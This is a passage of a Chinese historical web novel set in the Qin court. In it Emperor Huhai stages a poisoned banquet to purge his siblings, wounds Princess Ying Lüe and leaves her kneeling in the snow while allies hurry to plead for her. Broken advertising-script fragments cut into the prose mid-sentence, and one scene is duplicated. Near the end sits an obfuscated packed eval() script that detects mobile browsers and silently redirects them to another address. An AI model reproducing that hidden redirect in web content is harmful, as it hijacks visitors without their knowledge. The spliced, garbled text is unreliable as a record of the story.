胡亥却是在沉默到诡异的气氛中突然笑了起来,“这手足欢聚的大好日子,一个两个都伏地请罪。就好像我这个少弟当了皇帝之后就既不兄友也不弟恭了。” 他亲自上前扶起那位年纪尚轻的公子,又让寺人小乙斟了两卮酒,与那位公子一人一卮道。 “这位王兄说得很对。朕先敬这位王兄一卮。” 这位公子颤颤巍巍地起身,其实他很想说,他排行十九,算起来是二世的王弟而不是王兄。但是如今这情形……算了,“王兄”就“王兄”吧,反正他与二世平日里也不怎么熟识,他以后也未必记得起来自己的排行。 他当下就痛饮了这卮酒,一卮棠华酒下肚,果然酸涩无比。 这时,突然听到方才斟酒的寺人道,“陛下恕罪,这酒还没来得及验毒。” 什么?! 听到这句话,排行十九的年轻公子当即就喷出了一口鲜血,他倒在地上只觉腹痛无比,这才发觉这兄友弟恭的棠华酒原来是有毒的。 寺人小乙高呼道,“来人,护驾!” 早已候在殿外郎中令赵高立即带着宫卫持兵入内,却是将殿内众人为围了起来。 一直未饮那卮酒的二世笑了一下,轻飘飘地就倒掉了手中那卮酒。 殿内众人皆大惊失色,问责道,“怎么会有如此失职之事?” “陛下说此酒乃公子将闾所献,兄弟之间不应起猜忌之心,是以并未验酒。但是奴婢又实在担忧陛下的安危,所以方才出言提醒。” 公子将闾立立即离席自陈,“陛下,臣所献之棠华酒,绝对无毒。陛下若不信,臣可亲自验酒。” 二世的冷笑令人遍体生寒,“你献给朕的酒都毒死了人,还不承认自己有不臣之心吗?” 说着,他又轻蔑地踢了踢脚边十九公子刚被毒死的尸体,“还是说十九王弟是在装死诬陷你了?” 原来他并不是不知道这位死去兄弟的排行,只是不在意而已。 公子将闾自知今日必死,无法转圜,仰天长笑,“欲加之罪,何患无辞!” 令众人始料未及的是,仰天长笑之后,公子将闾竟一把拔出了赵高腰间的佩剑指向二世。 赵高佯装惶恐,眼角眉梢却露出一抹不易察觉的笑意。 从驾车趋马的中车府令到手握权柄的天子近臣,他还真不习惯手握剑柄呢?竟然让公子将闾夺走了腰间的佩剑。 大殿之上持剑指君,岂不坐实了其谋反的大罪。 训练有素的宫卫们立刻改换队形拱卫二世,皆将矛头指向公子将闾。 嬴略惊恐地上前想去阻拦,“王兄,你在做什么?快放下手中的剑!” 公子将闾并没有众人担心的刺君之举,而是对着二世抚膺涕泣,血泪彷徨。 “陛下说这酒有毒就是有毒,陛下说臣有罪便是有罪。自古君要臣死,臣不得不死。也罢,也罢。臣今日便效仿长兄扶苏,自刎于殿前以安君心,还愿陛下眉寿千秋,万年无期!” 说罢,他将长剑在颈上一横,瞬间血溅棠华。 方才出言劝解时靠得太近,以至于尚有余温的鲜血也洒在了嬴略无比错愕的脸上。 二世对赵高冷言吩咐道,“除了长安公主之外,将其余公子公主皆下狱案治。” 至此,众人才明白,今日的棠华酒筵竟是二世对诸位兄姊撒下的一场弥天大谎。 赵高称诺,挥了挥手让宫卫将殿内除了长安公主以外的公子公主都带了下去。 方才还“热闹”十足的棠华殿内只剩下了二世和嬴略姊弟二人。 二世回过神来,看着嬴略脸上依旧错愕的神情,轻笑了一声,想要替她拭去脸上的污血,“今日之事,吓到王姊了?” 嬴略勉力地转过僵硬的身体,避开了他的手,声音颤抖道,“陛下果真会对诸位兄弟依法案治吗?” 她再一次躲过了他伸过来的手,她再一次为了别的兄弟躲过了她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 伸过来的手。 二世眸色暗沉,转而对着她嗤笑了两声,“身为嬴秦之人,沾染些同族的人怎么了。不过是皇位之争,手足相残而已,王姊何以如此错愕?” 嬴略那双光明洞彻的眸子满是不屈的目光,“这不是手足相残,这是单方面的屠杀。” 二世背对着她,一步一步走上最高处的皇位,声音变得无比寒凉,“屠杀又如何?” 他坐在高高的皇位上睥睨一切,从沙丘之谋至今,他已经越来越习惯这种居高临下俯视众生的感觉,即便高处不胜寒的代价是孤家寡人。“雷霆雨露,生杀予夺,仅在皇帝一人之手而已。这便是皇帝的独断专行,这便是皇权的至高无上。” “皇帝亦是人。人之异于禽兽者,理也,情也。皇帝者,人主也,更该讲究情理,明辨是非,以为天下表率。否则,杀不辜,诛无罪,何以治天下?何以治臣民?” 二世看着丹陛之下的嬴略,竟然在她的身上看到了一个熟悉之人的影子,同样的刚毅不屈,不惜触怒天威,哪怕危及自身,也要屡屡上谏。 他爱之重之的王姊怎么能和他嫉妒厌恶的长兄有如此相似的地方呢! 二世眼中的暴虐之色几欲压制不住,“够了!这秦国的史书还轮不到王姊来书写!朕也轮不到一个公主来评判!” 嬴略跪在地上恭肃地稽首,“臣不敢评判陛下,也无意修史撰书。臣只想求陛下对先帝诸子秉公处理,依法案治。至少,让这棠华宫内少些嬴秦手足的梧丘之魂①。” 胡亥紧了紧手中的太阿剑,眼神愈加阴鸷孤冷,“朕原本不想在屠杀这些乱臣贼子的时候将血溅在王姊身上,可王姊的所作所为,实在令朕失望。” 失望?到底是谁心中的失望更甚。 “所以,陛下是在杀鸡儆猴吗?” “王姊会错意了。朕是在清理门户。只是未曾想,王姊竟然为了那些乱臣贼子与朕反戈相向。” 嬴略自然感受到了胡亥的眼中那种暴虐恣睢的杀意,犹如一头失怙的狼受到了生存威胁。 “陛下,若我今日对无辜手足的冤屈置若罔闻视若无睹,那来日陛下陷于危难之时,也希望我做一个冷漠的看客吗?” “王姊,你在咒我?你竟然为了这些乱臣贼子咒我!王姊果真不怕死吗!” 原本相亲相爱的姊弟已被这皇权的鸿沟深深相隔,站在了天平两端,若其中一人稍加用力,另外一个人便会坠入深渊。 “如果陛下怀疑臣的忠心,不如也赐臣一死,臣引颈就戮就是。” 言罢,嬴略面上的泪水顺着白皙修长的脖颈一行一行流下。 下一秒,烛火颤动,寒光闪过,利刃蜂鸣之后,太阿剑以一种始料未及的速度刺向嬴略。 梦魇中的姊弟对峙虽迟但到。在这场生死赌局中,谁都不可以背叛他,王姊更不行。 鲜血一滴一滴地从寒光凛凛的剑刃上滴落下来,落在嬴略的素衣之上,宛若一朵一朵冬夜盛放的梅花。 22. 凶兆应验 二世万没想到他的王姊这次并没有像梦中那样向后退去以求自保。 那白皙纤长的脖子上留下了一道鲜红的血痕,血液顺着太阿剑寒光凛凛的剑锋滴落到嬴略的玄端章甫上,犹如夜雪之中迎寒绽放的红梅。 虽然伤口并未深到足以致命,但自然是剧痛无比的,嬴略的手中紧紧握着席子边上的鹿形铜镇,那双酷肖始皇帝的明眸对上胡亥暴戾恣睢的狼视,倔强坚韧,仍旧丝毫不肯退让。 胡亥最终还是收了手,他的声音却是失了温度。 “王姊从前被君父娇养在温室中太久,以至于昏了头,分辨不清手足和敌人。外面天寒地冻,正适合让王姊清醒一下。” 嬴略不等宫人搀扶,已经自行起身,一袭单薄的玄端礼服逆着萧瑟寒凛的夜雪缓缓走出殿外。 被拦在殿外的内者令景福立刻拿着她的玄色狐裘和鹿皮靴迎了上去。 看着她脖颈上的鲜血,又慌忙撕下自己内里的袍服缠绕住伤口替她暂时止血。 值守在廊下的的郎中令赵高并未随着宫卫离去,而是将殿内发生的姊弟对峙尽收眼底。 时至今日,原有的尊卑贵贱终于如他所愿开始逆转,只是他压抑了太久,无论此刻多么畅意快慰,脸上的笑意也是扭曲阴暗的。 “既然公主在沙丘行宫的时候能‘机敏’地接受长公子之死,今日为何不能继续‘聪慧’对这宫里的杀戮缄口不言呢?” 说着,他又惺惺作态地摇了摇头,“可惜了。” 机敏?聪慧?这匹夫还真是惯会戳人痛处的。 嬴略的脚步因赵高的冷嘲热讽短暂停留,她深吸一口气,双拳在衣袖下紧握许久,终于有了用武之地。 出乎众人意料之外,从小养在深宫的长安公主抛却了二十余年的高贵修养,抡起远没有沙包大的拳头,不偏不倚地落在了赵高脸上 赵高那张扭曲的脸瞬间就肿得老高,阴暗的笑意戛然而止。 就在他目瞪口呆的当口,另外半边脸又结结实实地挨了一拳。 不过,由于左右都挨了一拳,那张脸竟然肿出了一种对称的美感,反而少了以往那种让人不适的扭曲感。再想不到这位公主殴人的技巧如此纯熟, 在廊下的众人反应过来之前,随侍嬴略的内者令景福已经冲上来拦住了她第三次蓄力的拳头。 说是拦着,景福的身体却是实实在在护在了嬴略面前。 更气人的是,她一边拦着还一边嚷嚷着,“公主,古语有云,一鼓作气,再而衰,三而竭。已经两拳了,罢了,罢了。” 这样说着,还使眼色示意廊下值守的宫卫们死死拦住恼羞成怒的赵高一行人。 众人面面相觑,失宠的公主和新进的宠臣交恶如何是好? 答曰息事宁人为好。 对方又是曾经极为受宠的长安公主,即便一朝则被天子迁怒,也仍然也还是公主。而赵高虽是新任郎中令,他们的上官,但在他们当中尚未建立威信…… 宫卫们衡量再三,还是觉得把双方人手都给拦了比较稳妥。 变故就在一瞬间,赵高这两拳属实挨得猝不及防。 他相当震惊自己这个天子近臣竟然会在咸阳宫内被人公然殴脸,殴人者还是一向养在内帷的公主。 那张肿胀的脸上红一阵白一阵,青一片紫一片,端得是精彩异常。 缓了一缓,他才想起怒气冲冲地问责,“公主怎可在殿前失仪,公然殴打上卿?” 嬴略面上的怒意亦不遑多让,“你是个什么东西,也配在我面前狺狺狂吠。” 赵高无语凝噎,稍一使力,便挣脱开了拦住他的宫卫。 他摸了一把肿得老高的脸,自他辅助二世皇帝即位以来,他这个新任天子近臣还从没有受过这样的侮辱。 他已经接连两次“领教”了长安公主的恣睢骄横。前一次他被她当众下了脸面,这一次他是直接被她打了脸面。 奈何对方既没有失去天子之姊的身份和名号,也没有像其他公子公主一样成为阶下囚,以至于他无法痛快地当场报复回去,只能像从前一样阴暗地看了一眼对面气焰嚣张的殴人者。 不过,赵高很快想通了,他狞笑了两声,愤怒只不过是无能者的自我安慰。 他是挨了她两拳,那又如何?她已经输了,无论是手足相残还是皇权屠戮,这种切肤之痛是远甚于拳头之痛的。 而且,今夜之后,所有人都会知道长安公主已失帝心。 他故作姿态地整了整衣冠,对着嬴略恭恭敬敬地作了一个“请”的姿势。 “方才公主触怒天颜,陛下责令公主跪在棠华殿外静思己过,请吧。” 嬴略冷哼一声,脊背挺直地跪在冰天雪地之中,宛若殿外那片凌霜傲雪的红梅绽放于凛冬的大雪纷飞之中。 章华殿外点缀的红梅实在太碍眼了些,赵高恶狠狠地折断了数枝,又随意践踏在地上,仿佛大大出了一口恶气。 “公主从前总以为尊卑有别,贵贱有序,可知这世间的尊卑贵贱本就不该是一成不变的。上位者未必能永远高高在上,一朝跌落枝头,便会零落成泥碾作尘土,多么可悲。” 嬴略泠然一笑,她即便在皇权的威压下跪在殿外,也不肯为这等蛰伏的毒蛇低头,“地位尊卑不过是与生俱来的区别,心中潜藏的肮脏和奸邪,却是无论如何也洗刷不掉的下贱。” 赵高却是狞笑,“高义之士的坟头草都长得半人高了,而公主鄙视的下贱之人却得以身居高位。公主又待如何呢?” 又待如何? 嬴略那双冻得通红的手紧紧攥着裙裾上溅落的手足鲜血,微微俯身深吸几口气,极力压抑住眼中盈满的泪水,再抬起头时,明眸中已恢复了往日的坚韧不屈。 “且让我们拭目以待。” 跟在赵高身后的赵成觑着他的神色道,“长兄……就这么轻易放过了长安公主。” “放过?”赵高握着腰间的剑柄,脸上是少见的志得意满之色,“如果连最恣睢骄横的长安公主都冻毙于北风之中,天下间还有谁敢阻拦你大兄我的权柄呢?” 随即又对着新被提拔为郎中丞的弟弟赵成吩咐道,“陛下责令长安公主于棠华殿外静思己过。好好‘看着’公主,务必让她在雪中好好‘清醒清醒’。” 鹅毛大雪从漆黑天幕中纷纷而下,棠华宫宴的灯火辉煌逐渐黯淡于在一片白茫茫之中。 唯有内宫之中数丛红梅依旧在雪夜中鲜艳似火。 —————— 内者令景福并没有陪着嬴略跪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在棠华殿外,而是在大雪纷飞中急驱回了长安宫。 一位身形高挑、眉目英气的女史迎了上来,“你怎么一个人回来了?公主呢?” 景福言快速地叙述了棠华之变的始末。“前来赴宴的公子公主以‘不臣’的罪名被陛下下狱案治,公主为了诸位兄姊陈情触怒了陛下,被太阿剑刺伤了脖颈,又被罚跪章华殿外。可是如此天寒地冻,公主会撑不住的。你是谒者,可以持令出入宫闱。你快去渭阳学宫向学宫祭酒宋怀子求救。” 这位女史正是留守在长安宫的谒者万年。 万年蹙眉道,“从渭阳学宫到咸阳宫的路程太远了,恐怕来不及。” 不多时,她又想到今夜宋怀子或许不在渭阳学宫。于是又道,“我想起来了,前些日子我去善水居替公主办事,恰巧碰到宋子身边的一位学僮也来了善水居,他似是无意间提到宋子会在十月十五去善水居收账,还一同邀请了太史令茅焦前去品鉴善水居的新酒。这样的团圆之夜,他们两位老友很有可能相聚在善水居饮酒品茶。” 景福也道,“对,善水居离得近。那你先去善水居,说不定,说不定……” 说不定还会多拉到一根救命稻草。 —————— 章华殿内,韩美人跽坐于中堂,信手拨弄着面前凤鸟纹铜薰炉内的沉水香。这种香料名贵异常,又能缓解冬日里的寒凝气滞,温中纳气,因而常被宫中贵人使用。 她已听宫人回报了棠华殿的惨案,不过,她面色依旧平静如常,没有丝毫波澜。 章华殿的内者令名曰郑都,亦是她的同乡,闻言小声问询道,“等陛下回来了,美人打算替长安公主求情吗?” 韩美人黛眉微蹙,拨弄沉水香的手顿了顿,虽然心中亦有不忍,却也只是淡淡道,“陛下的脾气,你又不是不了解。” 话音刚落,就见二世满脸戾气和疲累地返回了章华殿,她如往常一样温柔体贴地起身相迎,什么也没说,什么也没问。 二世累极,在中堂直接躺下,将头枕在她腿上闭目小憩,拉住韩美人的手身心俱疲道,“宜君,幸好还有你在朕的身边。” 韩美人轻柔地替他按揉额角,“妾当然会一直陪伴在陛下身边。陛下累了,我让人点了沉水香,有安神助眠之效,陛下先歇息会儿吧。” 中堂内的十五连盏铜灯已被宫人悉数灭去,不复白日般的辉煌。堂内仅余几案前的两盏跽坐人铜灯,烛火柔和,映衬着郑卫美人独有的温婉之姿,果真让人能平心静气,舒心休憩。 —————— 善水居的后堂,孟嘉已然醉得躺在席上昏昏睡去,蒙恬却依旧神思清明。 虽然善水居的后堂亦修建有火道和壁炉,暖意不逊于秦宫,然则蒙恬还是起身替大兄披上了一件外袍。 吱呀一声——骤然打破了室内的温和平静。 门被人从外面大力拉开,风混着雪一下子灌入室内。 正在酣睡的孟嘉打了个激灵从兄弟重逢的美梦中醒来,正要发作。 却见蒙恬已经起身,正盯着门外的三个人看。 打首的正是在前堂和老友相聚的宋怀子,他的面色是蒙恬从未见过的肃穆阴沉,如同门外风雪交加的夜色。 “长安公主出事了。” 23. 夜雪折梅 壁炉之内的火劈里啪啦地燃着,在静谧的冬夜倒是成了催人好眠的雅乐。 茅焦半醉半醒地躺在席间,口中仍然在和宋怀子纠缠那个赌约。 “我看今日的赌约你多半要输了,都这个时辰了,贵人们早早就暖然似春的咸阳宫歇下了。哪里还会发生什么祸事?也轮不到我去做那个扶危济困的贤才。” 宋怀子面上却毫无睡意,他再次执起一卮提神醒脑的热茶,一脸肃穆道。 “你知道吗?我这一生与人有过无数次赌约,这是第二次希望自己赌输了。” 茅焦摇了摇头,调整了一个舒服的睡姿正要昏昏欲睡。 突然——敦朴室的门被人从外面破开,廊外寒凛的风混着大片的雪一下子灌入室内,不用热茶提神也能让人瞬间从睡梦中清醒。 茅焦不爽道,“谁啊?大好的团圆之夜扰人清梦!” 门外高挑的女史伫立在一片白茫茫的大雪中,声音如同冬夜的风雪一样冷。 “长安公主出事了!” 宋怀子占卜的凶兆应验了,茅焦情形得不能再清醒。不仅因为他输了赌约,更因为他明白此次入宫求情的凶险,弄不好会把身家性命也输掉。 宋怀子看着沉默不语的茅焦,出言提醒道,“太史令怎么不说话了?莫非是忘了我们方才的赌约。” 万年狐疑地看了一眼二人,又焦急地请求道,“什么赌约?当务之急是请二位先生速速入宫替公主求情。” 未曾想,一向和长安公主交好的宋怀子却像事不关己一样推脱道,“替人求情这样的事还是太史令最擅长。” 宋怀子说的没错,茅焦是“擅长”为人求情,他当年就是凭借替秦王政的母亲帝太后求情一事入仕秦廷的。 当年帝太后因为嫪毐之乱的牵连而被秦王政厌弃赶到旧都雍城。 适逢他随着齐国使臣的队伍来到秦都咸阳,当时齐国渐衰,秦国日强,他想离开齐国到秦国高就,便瞄准了为母太后求情这个时机,力谏秦王政迎回母太后,以免秦王政名声有失,引得诸侯背离秦国。 可问题在于秦王政听人言,他的继承者却未必听人好言相劝。 茅焦的推辞亦不遑多让,“论及长安公主亲之尊之的师长,非宋子莫属。” 宋怀子将漆卮重重地放在案上,“太史令,我们方才可是有赌约了。我的凶兆应验,你必须去做那个扶危济困的贵人。莫非太史令想在天下读书人面前做个食言而肥的人吗?” 宋怀子向来是个喜怒不形于色的人,可他一旦发怒,便是茅焦这个老友也有些忐忑。 读书人最重脸面和名节。宋怀子作为渭阳学宫的祭酒,是秦国乃至于天下读书人的杏坛领袖,他若是发话,恐怕他自此便在天下读书人之中再无立锥之地。 而且,眼前之人并不只是天下读书人的精神领袖。 茅焦有些发怵地看了一眼宋怀子握着漆卮的右手,上面带了一只朴实无华的铁环,那铁环据传是由天上坠星的陨铁和地上的鲁阳玄铁制作而成,正是墨家巨子的象征。墨家具有严密的组织,巨子是墨家的领袖,凡巨子之言,墨家弟子无不听从。 他知道渭阳学宫隐藏了不少墨家高手,在宋怀子身边侍奉的学僮无一不是不世出的顶级剑客。若他真的食言,不止会在天下读书人当中人品死亡,恐怕身体也会真的死亡,届时便是身死“道”消,双重死亡。 也罢,也罢,今日的赌约,本就是他技不如人。 这也是冥冥之中的命数,他该走这一趟,给自己的仕途画上一个有头有尾的圆圈。 可是他却不肯轻易应下救人的事,“即便凶兆应验,我有心去做那个扶危济困的贵人,也是有心无力啊。” 这倒不是故意讨价还价来推脱此事,太史令秩级六百石,除了朝贺这样的大日子,平日里都是非召不得觐见。换言之,他没有主动入宫觐见二世的资格。 宋怀子明了,“你还缺一个引路人。刚才你不是在问谁在念着我吗?我就请这个人当茅君的引路人好了。” 茅焦这下彻底被宋怀子未卜先知的能力惊得目瞪口呆,“就连我的随口一问都在你的谋算之内?” 宋怀子微微颔首。 茅焦仍然有些不敢置信,“此事凶险,你用赌约来给我下套,迫我入秦宫赴汤蹈火,那用什么来给这个引路人下套呢?” 宋怀子摇了摇头,“人与人之间,不是只有谋算的。” —————— 善水居的后堂,孟嘉已然醉得躺在席上昏昏睡去,蒙恬却依旧神思清明。 虽然善水居的后堂亦修建有火道和壁炉,暖意不逊于秦宫,然而蒙恬还是起身准备替大兄披上了一件裘衣。 吱呀一声——门被人从外面大力拉开,骤然打破了室内的温和平静。 正在酣睡的孟嘉打了个激灵从兄弟重逢的美梦中醒来,正要发作。 却见蒙恬已经起身,正盯着门外的三个“不速之客”看。 打首的正是在前堂和老友相聚的宋怀子,他的面色是蒙恬从未见过的肃穆阴沉,如同门外风雪交加的夜色。 兄弟二人听完了事情的始末。 蒙恬当即会意道,“宋先生是想让我带着太史令入宫求情?” 宋怀子微微颔首,“不错。我已请了太史令入宫替长安公主谏言,只是太史令秩级微末,日常只是待诏而已,没有请见陛下的资格。所以,我想再请内史做这个引路人。” “事不宜迟,我们现在就出发吧。” 在众人反应过来之前,蒙恬就已经起身,手里还拿着穿的那件吉光裘。 孟嘉讶然,他的恬弟行事从来没有如此冲动的时候。 此事凶险,在座之人皆曾在秦廷内入仕为官,都知道冒着天子之怒去求情要承担怎样的风险。 “恬弟啊,你在陛下面前怕也说不上话,要不再考虑考虑?” 孟嘉劝道,他已经失去一位弟弟了,不能再失去这位仅剩的弟弟了。 茅焦亦跟着道,“此次入宫,如同以卵击石,以指挠沸,凶险万分,内史真的想好要赴汤蹈火了。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 蒙恬面上毫无犹疑之色,心中却已是汹涌万分,“我们在此多犹豫一分,她便多一分危险。” —————— 不出半个时辰,整个咸阳宫已是一片白雪皑皑,就连嬴略身上的玄端章甫都变成了一袭白衣。 她的意识由清醒逐渐变得模糊,难道她这个大秦公主的结局竟是寂寂无闻地冻毙于夜雪之中吗? 继而她又自嘲一笑,公主算什么?她的诸位兄姊或是悲愤自刎,或是在暗无天日的狱中绝望地等待被屠戮的命运,她这个公主又算什么? 看来,她着实被君父娇养太过,以至于忘记了伴君如伴虎这个道理。 雷霆雨露,皆是君恩。生杀予夺,尊卑贵贱,只是皇帝的特权。 仰仗君恩再是金尊玉贵,终究无法决断自己的命运。 胡亥独断专行的狠厉之言再次回荡在嬴略耳畔。 “这秦国的史书还轮不到王姊来书写!朕也轮不到一个公主来评判!” 她只是一个公主,一个连自己的命运都掌控不了的公主。谈何拯救别人?又谈何匡扶大秦社稷? 在意识的逐渐模糊中,她透过一片白雪茫茫看到了熠熠生辉的咸阳宫,非壮丽无以重威,这里是大秦帝国的中心。 自先祖孝公从栎阳迁都至此,历经七世秦君而屹立不倒,腥风血雨的冲刷洗涤反倒让它历久弥新。 她的心突然被一股激荡的力量刺激得清明起来,看向巍巍宫殿的目光如同虎视般炯炯有神,志在必得,若是她能成为咸阳宫的主人呢? 这样的想法着实有些惊世骇俗,但又有何不可? 公主与公子,除了男女有别,都是始皇之子,又有何差异。 君父生前的戏言重新在耳边响起,“若是男儿,必为储君”。 即便不为男儿,她难道不可以成为咸阳宫的主人吗。 生男勿喜,生女勿忧,她嬴略有何不可霸天下。 没成想,斗志刚刚燃起来,向来养尊处优的嬴略却是支撑不住在雪夜的寒凛中倒了下去。 —————————— 在她将要倒下去的一刹那,大雪纷飞的朦胧之中出现一位容仪恭美、行止端方的君子。 彼雪皑皑,彼风烈烈,劳心悄悄,何以藉藉。 君子至止,温其如玉,见此良人,云胡不愉。 是梦吗? 年少时,她不止一次在梦中把他当作《诗》中那些“言念君子,温其如玉”的具象。 然而,具象化的春闺梦里人终究是在那场无疾而终的赐婚之后越来越模糊。 只是,这次不是梦。 怀抱如此温暖而真切,又怎会是梦。 “公主。” 她听得出他声音中的担忧和紧张,用尽最后的意识喃喃回应道。 “元良……” 蒙恬抱着她的手一颤,这是自己的字,她怎么会知道…… 正如此想着,却被紧随其后的喝止声打断了思绪。 “内史无诏怎可擅闯内宫!” 24. 何为良策 “内史无召怎可擅闯内宫!” 赵高笑里藏刀地从一众披甲陈兵的宫卫中现身,犹如一位在黑夜中早已埋伏好天罗地网的猎手,终于等到了他的猎物心甘情愿为诱饵地自投罗网。 “谁说无召?” 从宫卫中扒拉出来一只略显苍老的手,接着又冒出来一个冠斜缨松的脑袋。继岁首夜宴后,太史令茅焦再次以这种衣冠不整的滑稽仪容出现在了咸阳宫中。 被人连掺带拐地跑到咸阳宫,这位耳顺之年(60岁)的老者已是上气不接下气。 “我等……我等就是来……谒见陛下的,中谒者令……韩谈已经入内通禀。” 中谒者令韩谈?① 赵高露出一个阴鸷的笑意,真是一个意料之外的名字。他已经明令禁止手下的郎中谒者为蒙恬和茅焦二人通禀引见,却没想到中谒者令韩谈竟然敢与他作对。 中谒者令是少府的属官,同样负责为皇帝传达信息、引见朝臣。少府与他同为九卿,他这个郎中令的权威着实对少府的属官鞭长莫及。 看来,官还是做得不够大。 赵高腰间半开的剑闪着寒光,映衬着他脸上阴冷到极点的笑意。 不过,那又如何?成大事者,向来不在细枝末节上优柔寡断。他根本不打算听他们辩驳,而是当机立断地对宫卫命令道。 “我等并未接到诏令,无召闯宫者格杀勿论!杀了他们!” “谁敢!” 蒙恬怀中抱着长安公主在漫天飞雪中缓缓起身,如同鹰隼般锐利而勇猛的目光俯瞰着众人,这位曾经的大秦战神仅用两个字便震慑得宫卫们不敢近前。 自新帝即位以来,他这个先帝的尊宠之臣身份一落千丈,以至于人们几乎要忘记了眼前之人曾经统率三十余万军民逐退匈奴七百余里,收复河南地(河套以南之地),威震匈奴,使得胡人不敢南下牧马,勇士不敢弯弓而报怨,是当之无愧的大秦第一勇士。 旁人不敢近前,赵高却是一定要抓住机会猎杀这等鹰隼,他手中紧握的剑柄已经蓄势待发,“我知道内史战功赫赫,但是胆敢在宫中如此耀武扬威,是想造反吗?” 蒙恬毫不畏惧地对峙上赵高如同毒蛇般阴毒的目光,“郎中令欺上瞒下,竟敢在宫中擅杀天子女兄和秦廷重臣,是想凌驾于皇帝陛下之上吗?” —————— 胡亥又被梦魇着了。 章台夜宴除掉了那么多竞争对手,他本应高枕无忧,可是梦魇完全暴露了他心中的惶恐。 他跽坐在阴冷的九层高台上,这是至高无上的皇位,是他梦寐以求的位置。 但是,这座九层高台是用尸山血海垒起来的,积如山堆的尸首之间,有同胞手足,有重臣显贵。如果没有这些尸山血海的支撑,这至高无上的皇位便会轰然倒塌,他也会摔得尸骨无存。 皇位是冰冷的,皇权是血腥的。 从他决心坐上来的那一刻起,便注定了这样孤家寡人的局面。 他以为自己对皇位的渴求足以让他安稳面对一切杀戮和血腥。 可事实并非如此,踏上这条通往皇权的血路,他战战兢兢,如履薄冰,跽坐在这样高处不胜寒的阴冷皇位上,他如芒刺在背,如坐针毡。 尤其是,在目光无法触及的暗处,某种天性冷血的生物果真从背后盘踞上来,带着喑哑的嘶嘶声将他和皇位越缠越紧,也越来越让他窒息。 他这才想起伸出求援的手,然而皇位下只有堆积如山的尸体,他一旦惶恐,这些尸山血海便会伸出手来将他拉下去。 孤家寡人的代价是孤立无援。 “阿亥也会害怕吗?” 阴冷黑暗的九幽迷雾下,突然出现一双坚韧不屈的明眸。 他颤抖着声音道,“王姊,王姊救我……” 她的脖颈上汩汩流出鲜血,那是一道被他亲手割伤的血痕,“得道者多助,失道者寡助。多助之至,天下顺之。寡助之至,亲戚畔之。阿亥,杀戮是解决不了问题的。” 她叹息一声,吟诵着那首古老的诗歌逐渐隐没在九幽迷雾下死去的魂灵中。 “棠棣之华,鄂不韡韡,凡今之人,莫如兄弟。 死丧之威,兄弟孔怀。原隰裒矣,兄弟求矣。” 顺着皇位缠绕上来的毒蛇不断用信子舔舐着他快要窒息的脖颈,他也要死了,可是谁来为他收尸呢? 他像少时那般用尽最后的力气向快要消失的王姊求援: 王姊救我——! —————— 胡亥的梦魇是被内宫中若隐若现的喧闹声中断的。 身侧的韩美人跟着他起身,温声细语慰藉着,“陛下,陛下怎么了?” “王……王姊呢?” 梦中的惶恐和悲哀犹在心头挥之不去,他忽而记起了那个被他罚跪在棠华殿外的王姊,立刻就要起身去见她。 “陛下,”韩美人不顾自己身着单衣,先为胡亥披上一件厚厚的狐裘,“长安公主还在棠华殿‘静思己过’,陛下就算顾惜手足之情,也不急于这一时。” 韩美人的话提醒了胡亥,王姊是被他亲自下令罚跪在棠华殿外的,他现在过去便是自毁君威。 他又注意到了殿外若隐若现的喧闹声,若非这样的声音,他还被困在梦魇中。 “外面是什么声音?” 侯在殿外许久的中谒者韩谈知道时机到了,这才出声禀告,“陛下,内史蒙恬携太史令茅焦谒见陛下。” 胡亥的眼睛一亮,给瞌睡的他递枕头的人到了。 “把人带到章华殿来。” —————— 棠华宫两厢僵持着,中谒者韩谈犹如及时雨一般出现在棠华宫。 “陛下有诏,要在章华殿召见内史蒙恬和太史令茅焦。二位请吧。” 赵高手中青筋暴起,拉开的剑不得已又收了回去。 差一点,差一点,他就能收割三个猎物的性命。 如果不是蒙恬这个鹰隼在,他今夜定然叫替长安公主求情的人有来无回,而长安公主也会冻毙于雪夜中,如此,他在秦廷的威势才能更上一层楼。 可惜了,有蒙恬这个搏击长空的鹰隼在巡视引路,他布好的天罗地网竟然没有捕获到任何一个猎物。 不过,即便有蒙恬这个鹰隼又如何?他心甘情愿为了长安公主这个诱饵自投罗网,那就必然得叫他知道,即便是守护大秦疆域的鹰隼也不能在他这个高超的猎人手中全身而退。 太史令茅焦摸了摸热冷交替的满头大汗,还不忘对着中谒者令韩谈作揖,“还请中谒者令在前面引路吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938094|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒙恬则朝他们微微颔首,“蒙恬路已带到,接下来的路全仰仗太史令一个人走了。” 说着,他怀中抱着嬴略大步向棠华宫的偏殿走去。 收到赵高眼神示意的郎中丞赵成颇有些不忿地再次阻拦道,“陛下责令长安公主在殿外静思己过,没有陛下的诏令,公主一步都不能离开这里。” 蒙恬冷冷看了他们一眼,“陛下只是让公主思过,若是公主出了什么事,你们担当得起吗?” 中谒者令韩谈在一旁出言缓和道,“内史只是带公主前往偏殿稍候,若陛下待会果真降罪,也不耽误你们拿人。” 由于大兄赵高的缘故,赵成自然知道长安公主在二世心中的地位非比寻常,长安公主虽然不慎触怒天颜,但到底曾是陛下最为爱重的王姊,若是哪日姊弟二人重修旧好,他岂不是白白做了恶人。 倘若事后陛下果真为此发怒,那么他大可把罪责全权推到蒙恬他们身上,如此想着,索性便不再阻拦。 —————— 胡亥在章华殿的中堂召见了茅焦,“你是来替长安公主陈情的?” 茅焦早已在路上整理好衣冠,虽然此刻形势已是十分危急,他却是不急不徐地揖礼道,“亦是来替陛下解围的。” 见茅焦如此作态,胡亥的心绪也跟着逐渐平稳下来,他撩起袍裾坐在了上首,一副秉烛长谈的架势。 